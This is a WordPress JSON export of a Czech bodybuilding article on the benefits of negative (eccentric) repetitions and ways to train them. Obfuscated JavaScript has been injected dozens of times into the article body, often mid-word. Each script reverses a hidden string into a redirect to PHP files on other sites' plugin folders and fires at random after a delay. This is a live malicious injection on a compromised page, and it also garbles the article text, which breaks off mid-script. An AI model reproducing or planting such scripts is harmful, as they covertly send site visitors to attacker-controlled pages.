{"id":907,"date":"2023-08-26T09:27:26","date_gmt":"2023-08-26T09:27:26","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=907"},"modified":"2023-08-26T09:27:27","modified_gmt":"2023-08-26T09:27:27","slug":"sila-negativity","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2023\/08\/26\/sila-negativity\/","title":{"rendered":"<strong>S\u00cdLA NEGATIVITY<\/strong>"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\"><strong>P\u011bt d\u016fvod\u016f, pro\u010d byste m\u011bli prov\u00e1d\u011bt negativn\u00ed opakov\u00e1n\u00ed &#8211; a t\u0159i zp\u016fsoby, jak je za\u0159adit do tr\u00e9ninku.<\/strong><\/h4>\n\n\n\n<p><strong>BUDETE MOHUTN\u011aJ\u0160\u00cd A SILN\u011aJ\u0160\u00cd B\u011aHEM KRAT\u0160\u00cd DOBY &#8211; POMOC\u00cd NEGATIVN\u00cdCH OPAKOV\u00c1N\u00cd.<\/strong><\/p>\n\n\n\n<p>V&nbsp;kulturistice spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci obvykle hledaj\u00ed ty nejlep\u0161\u00ed zp\u016fsoby, jak b\u00fdt siln\u011bj\u0161\u00ed, mohutn\u011bj\u0161\u00ed a vyr\u00fdsovan\u011bj\u0161\u00ed. Zkou\u0161\u00ed nejr\u016fzn\u011bj\u0161\u00ed tr\u00e9ninkov\u00e9 techniky, bl\u00e1zniv\u00e9 splity a ve\u0161ker\u00e9 dostupn\u00e9 cviky. Pravdou ale b\u00fdv\u00e1, \u017ee me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toda, kterou tak urputn\u011b hled\u00e1te, je obvykle ta, kterou velmi dob\u0159e zn\u00e1te. N\u011bjak\u00fd z\u00e1kladn\u00ed, tradi\u010dn\u00ed p\u0159\u00edstup zaji\u0161\u0165uj\u00edc\u00ed kvalitn\u00ed v\u00fdsledky. Jedn\u00edm z&nbsp;nich jsou nap\u0159\u00edklad negativn\u00ed opakov\u00e1n\u00ed.<\/p>\n\n\n\n<p>Negativn\u00ed, \u010di excentrick\u00e1 opakov\u00e1n\u00ed p\u0159edstavuj\u00ed me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todu, p\u0159i kter\u00e9 jednodu\u0161e prodlu\u017eujete dobu, po kterou je sval v\u00a0tenzi, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee kladete d\u016fraz na excentrickou f\u00e1zi opakov\u00e1n\u00ed \u2013 tzn. na f\u00e1zi, kdy \u010dinku pokl\u00e1d\u00e1te dol\u016f. Opakem je pak f\u00e1ze koncentrick\u00e1. A my pro v\u00e1s m\u00e1me hned p\u011bt v\u011bdecky ov\u011b\u0159en\u00fdch d\u016fvod\u016f, pro\u010d negativn\u00ed opakov\u00e1n\u00ed zahrnout do tr\u00e9ninkov\u00e9ho programu.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg\" alt=\"\" class=\"wp-image-908\" width=\"141\" height=\"86\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg 568w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280-300x183.jpg 300w\" sizes=\"auto, (max-width: 141px) 100vw, 141px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>1. Budete siln\u011bj\u0161\u00ed.<\/strong><\/h4>\n\n\n\n<p>V\u00a0excentrick\u00e9 f\u00e1zi m\u00e1te asi 1,75 kr\u00e1t v\u011bt\u0161\u00ed s\u00edlu ne\u017e ve f\u00e1zi koncentrick\u00e9. Takov\u00e1 nerovnov\u00e1ha je pr\u00fd ur\u010dit\u00fdm druhem obrann\u00e9 adaptace \u2013 t\u011blo v\u00e1m nedovol\u00ed zvednout n\u011bco, co byste nemohli zvl\u00e1dnout, a hrozilo by v\u00e1m zran\u011bn\u00ed. Ale v\u00fdzkumy ukazuj\u00ed, \u017ee zv\u00fd\u0161en\u00edm excentrick\u00e9 kapacity budete schopni nav\u00fd\u0161it koncentrick\u00fd potenci\u00e1l a podpo\u0159it tak tr\u00e9ninkov\u00e9 v\u00fdsledky. Cvi\u010den\u00ed v\u00a0negativn\u00ed f\u00e1zi pohybu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e umo\u017en\u00ed dostat se za hranici vy\u010derp\u00e1n\u00ed a je skv\u011bl\u00e9 k\u00a0p\u0159ekon\u00e1n\u00ed stagnace.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg\" alt=\"\" class=\"wp-image-908\" width=\"141\" height=\"86\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg 568w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280-300x183.jpg 300w\" sizes=\"auto, (max-width: 141px) 100vw, 141px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>2. U\u0161et\u0159\u00edte energii.<\/strong><\/h4>\n\n\n\n<p>P\u0159i excentrick\u00e9 f\u00e1zi se aktivuje m\u00e9n\u011b mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>torick\u00fdch jednotek, co\u017e znamen\u00e1, \u017ee je na jednu jednotku kladena vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e. K\u00a0dosa\u017een\u00ed kvalitn\u00edch v\u00fdsledk\u016f v\u00e1m tedy sta\u010d\u00ed prov\u00e9st m\u00e9n\u011b opakov\u00e1n\u00ed, u\u0161et\u0159\u00edte \u010das i energii. Nav\u00edc postupem \u010dasu bude centr\u00e1ln\u00ed nervov\u00fd syst\u00e9m schopni aktivovat mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>torick\u00e9 jednotky rychleji a efektivn\u011bji v\u00a0r\u00e1mci procesu tzv. neur\u00e1ln\u00ed adaptace, kter\u00e1 je pro r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fd potenci\u00e1l velice d\u016fle\u017eit\u00e1.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg\" alt=\"\" class=\"wp-image-908\" width=\"141\" height=\"86\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg 568w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280-300x183.jpg 300w\" sizes=\"auto, (max-width: 141px) 100vw, 141px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>3. Budete mohutn\u011bj\u0161\u00ed.<\/strong><\/h4>\n\n\n\n<p>Jestli chcete dos\u00e1hnout n\u00e1r\u016fstu svalov\u00e9 hmoty, mus\u00edte sval p\u0159et\u00ed\u017eit a zv\u00fd\u0161it intenzitu i dobu, po kterou je sval v\u00a0tenzi. Negativn\u00ed f\u00e1ze v\u00e1m v\u00fdrazn\u011b pom\u016f\u017ee stimulovat proces proteosynt\u00e9zy. Sou\u010dasn\u011b d\u00edky n\u00ed aktivujete v\u00edce rychl\u00fdch svalov\u00fdch vl\u00e1ken (ty maj\u00ed v\u011bt\u0161\u00ed r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fd potenci\u00e1l) a cel\u00e1 \u0159ada proveden\u00fdch studi\u00ed jasn\u011b ukazuje, \u017ee hypertrofii m\u016f\u017eete pomoc\u00ed negativn\u00edch opakov\u00e1n\u00ed zcela z\u00e1sadn\u011b ovlivnit. V\u00a0r\u00e1mci jedn\u00e9 studie bylo prok\u00e1z\u00e1no, \u017ee p\u0159i excentrick\u00e9m tr\u00e9ninku se rychl\u00e1 svalov\u00e1 vl\u00e1kna aktivuje desetkr\u00e1t v\u00edc ne\u017e p\u0159i koncentrick\u00e9m cvi\u010den\u00ed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg\" alt=\"\" class=\"wp-image-908\" width=\"141\" height=\"86\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg 568w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280-300x183.jpg 300w\" sizes=\"auto, (max-width: 141px) 100vw, 141px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>4. Sv\u016fj tr\u00e9nink p\u0159esn\u011b zac\u00edl\u00edte.<\/strong><\/h4>\n\n\n\n<p>A budete tak\u00e9 schopni l\u00e9pe p\u0159edej\u00edt zran\u011bn\u00ed. Studie proveden\u00e1 s\u00a0fotbalov\u00fdmi hr\u00e1\u010di ukazuje, \u017ee p\u0159edsez\u00f3nn\u00ed excentrick\u00fd silov\u00fd tr\u00e9nink sni\u017euje riziko natr\u017een\u00ed k\u0159\u00ed\u017eov\u00e9ho vazu a hamstringu. Dal\u0161\u00ed v\u00fdzkumy zase ukazuj\u00ed, \u017ee excentrick\u00fd tr\u00e9nink buduje s\u00edlu pojivov\u00fdch tk\u00e1n\u00ed a t\u00edm p\u016fsob\u00ed preventivn\u011b proti zran\u011bn\u00edm.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg\" alt=\"\" class=\"wp-image-908\" width=\"141\" height=\"86\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280.jpg 568w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/dumbell-3435964_1280-300x183.jpg 300w\" sizes=\"auto, (max-width: 141px) 100vw, 141px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>5. Podpo\u0159\u00edte anabolismus.<\/strong><\/h4>\n\n\n\n<p>Tr\u00e9nink s&nbsp;vy\u0161\u0161\u00ed intenzi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou znamen\u00e1, \u017ee je na t\u011blo kladena vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e a je aktivov\u00e1no v\u00edce mo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>torick\u00fdch jednotek, t\u00edm p\u00e1dem doch\u00e1z\u00ed k&nbsp;vylu\u010dov\u00e1n\u00ed v\u011bt\u0161\u00edho mno\u017estv\u00ed r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9ho hormonu a je stimulov\u00e1na proteosynt\u00e9za. Excentrick\u00fd tr\u00e9nink tak\u00e9 urychluje metabolismus a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to a\u017e na 72 hodin po cvi\u010den\u00ed, co\u017e znamen\u00e1 kvalitn\u011bj\u0161\u00ed spalov\u00e1n\u00ed tuk\u016f a v\u00fdrazn\u011b \u0161t\u00edhlej\u0161\u00ed figuru.<\/p>\n\n\n\n<p>P\u0159esv\u011bd\u010dili jsme v\u00e1s, abych negativn\u00ed opakov\u00e1n\u00ed vyzkou\u0161eli? Pak zvolte jednu z&nbsp;n\u00e1sleduj\u00edc\u00edch technik:<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Cviky na z\u00e1v\u011br<\/strong><\/h4>\n\n\n\n<p>V&nbsp;z\u00e1v\u011bru s\u00e9rie prove\u010fte n\u011bkolik negativn\u00edch opakov\u00e1n\u00ed. Nemus\u00edte p\u0159i nich moc zvy\u0161ovat z\u00e1t\u011b\u017e, sta\u010d\u00ed samotn\u00fd prodlou\u017een\u00fd \u010das, kdy budou svaly v&nbsp;tenzi: pohyb dol\u016f by v\u00e1m m\u011bl trvat 6-10 sekund.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Excentrick\u00e9 p\u0159et\u00ed\u017een\u00ed<\/strong><\/h4>\n\n\n\n<p>Najd\u011bte tr\u00e9ninkov\u00e9ho partnera a zvolte z\u00e1t\u011b\u017e, kter\u00e1 bude odpov\u00eddat zhruba 150 % va\u0161eho 1RM (m\u016f\u017ee b\u00fdt i vy\u0161\u0161\u00ed). Partner v\u00e1m pom\u016f\u017ee s&nbsp;pozitivn\u00ed f\u00e1z\u00ed a pak v\u00e1s nech\u00e1, abyste tu negativn\u00ed zvl\u00e1dli sami. Nap\u0159\u00edklad p\u0159i bench pressu: zvedn\u011bte \u010dinku ze s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tojanu a pomalu ji po dobu 3-5 sekund pokl\u00e1dejte dol\u016f v&nbsp;pln\u00e9m rozsahu pohybu, pak v\u00e1m tr\u00e9ninkov\u00fd partner pom\u016f\u017ee dostat \u010dinku zase zp\u00e1tky nahoru. Ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to syst\u00e9m tr\u00e9ninku je velice vy\u010derp\u00e1vaj\u00edc\u00ed, omezte ho pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to na t\u0159i s\u00e9rie o 3-5 opakov\u00e1n\u00edch jednou t\u00fddn\u011b v\u017edy na jednu svalovou partii.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Dva nahoru, jeden dol\u016f<\/strong><\/h4>\n\n\n\n<p>Nem\u00e1te tr\u00e9ninkov\u00e9ho partnera? Nevad\u00ed. Pak cvi\u010dte na p\u0159\u00edstroji a pozitivn\u00ed f\u00e1zi prove\u010fte ob\u011bma rukama \u010di nohama, zat\u00edmco f\u00e1zi negativn\u00ed jenom jednou kon\u010detinou. V&nbsp;p\u0159\u00edpad\u011b zakop\u00e1v\u00e1n\u00ed na hamstringy bude cvi\u010den\u00ed vypadat n\u00e1sledovn\u011b \u2013 p\u0159i pohybu nahoru budete m\u00edt o op\u011brku zaklesnut\u00e9 ob\u011b nohy, naho\u0159e jednu uvoln\u00edte a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), 